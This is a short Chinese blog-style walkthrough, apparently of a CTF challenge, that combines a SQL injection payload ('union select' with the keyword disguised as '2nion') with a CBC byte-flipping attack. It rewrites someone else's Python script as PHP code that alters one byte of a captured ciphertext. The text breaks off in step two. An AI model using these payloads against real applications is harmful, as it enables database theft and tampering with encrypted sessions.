具体原理就不介绍了,百度上很多,直接放代码。因为用python3执行pcat大神的脚本出现很多语法和编码问题,所以打算用php脚本重写一遍攻击过程。
第一步:填写0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);%00
提交后取得返回的cipher,替换php中的字符串,执行php文件,代码如下:
<?php
$cipher_new = base64_decode(urldecode('E%2F2btd4lXULo0you%2FWrX2koJP%2BTE3geRjh0KCNQQ%2BIG54oHA5d3PDDejYyPIJgha49NuNN1A3GWbf7r9JiLun8reIPrsAjymZJFBNDnZYX8mw9Q6aFKKGWQTZxrlwNB04I9a%2FFnBGq1kpTcPtlLrwg%3D%3D'));//获得的cipher替换此处的字符串
$cipher_new[6]=$cipher_new[6]^'2'^'u';//CBC字节翻转攻击
$cipher_new = urlencode(base64_encode($cipher_new));//编码
printf("%s",$cipher_new);//输出,可以重定向到某个文件中,便于粘贴
?>
第二步,把从第一步得到的cipher_new填写到请求头中,替换原有的cipher,发起请求,获得plain,用第一步获得的iv和现在得到的plain替换php文件中的字符串,执行php文件,获得iv_new,代码如下:
&l